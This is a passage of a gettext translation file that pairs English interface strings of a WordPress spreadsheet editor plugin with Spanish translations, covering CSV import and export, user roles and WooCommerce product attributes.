wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. 